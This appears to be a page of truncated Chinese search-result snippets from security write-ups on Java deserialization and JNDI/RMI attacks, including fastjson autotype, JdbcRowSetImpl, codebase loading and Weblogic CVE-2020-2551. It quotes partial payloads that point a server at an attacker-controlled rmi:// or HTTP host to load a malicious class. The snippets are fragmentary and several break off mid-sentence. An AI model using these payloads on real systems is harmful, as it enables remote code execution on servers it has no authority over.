dataSourceName指定RMI服务器地址, Content-Type类型修改为:application/json 发送POST包,RMI服务器上可以看到成功收到请求,并请求http://192.168.81.128:8080/TouchFile.class: 我们回到服务器中查看,可以看到touch /tmp/success执行成功,/tmp目录下成功生成success文件 参考: https://github.com/alibaba/fastjson/wiki...
com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:ip/Exploit","autoCommit":true},注意这里的类型并不是应用代码里要求的类型,只要应用里没有使用具体类型,而使用了 Object 之类的基类型,攻击者就可以构造这样的 json 字符串 反序列化 JdbcRowSetImpl 时会执行setAutoCommit(),而它的这个 set ...
0x00 漏洞挖掘 业务代码 简单来说,找readObject/readUnshared就好了 protectedvoiddoPost(HttpServletRequest request, HttpServletResponse response)throwsServletException, IOException {StringbaseStr=request.getParameter("str");byte[] decodeStr = Base64.getDecoder().decode(baseStr);ByteArrayInputStreambyteArrayInp...
原理: 漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。 Evil.java 代码语言:javascript 代码运行次数:0 复制Cloud Studio 代码运行 import java.lang.Runtime; import java.lang.Process; public class...
java高版本下各种JNDI Bypass方法复现 0 前言 利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法...
利用codebase执行命令 首先说一下codebase是什么 java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。 当对象在发送序列化的数据的时候会带上codebase信息,当接受方在本地classpat...
实现RMI利用反序列化攻击,需要满足两个条件: 1、接收Object类型参数的远程方法 2、RMI的服务端存在执行POP利用链的jar包 服务端的代码,这里只需要创建一个注册中心,然后进行监听即可 import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; ...
Weblogic的7001端口默认支持T3协议和IIOP协议,本文将基于CVE-2020-2551漏洞分析weblogic的IIOP协议与其利用。 与IIOP协议相关的一些名词还有CORBA、IDL、ORB、RMI-IIOP、GIOP、stub、skeleton。简单理解,其实IIOP类似RMI。 名词介绍:用一些自己的理解介绍一些相关名词 ...
假设client地址为10.0.0.1,构造如下漏洞代码 代码语言:javascript 代码运行次数:0 复制 Cloud Studio代码运行 System.setProperty("java.rmi.server.useCodebaseOnly","false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Context context=newInitialContext();context.lookup("rmi://127....
2.对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。 使用远程方法调用,会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然...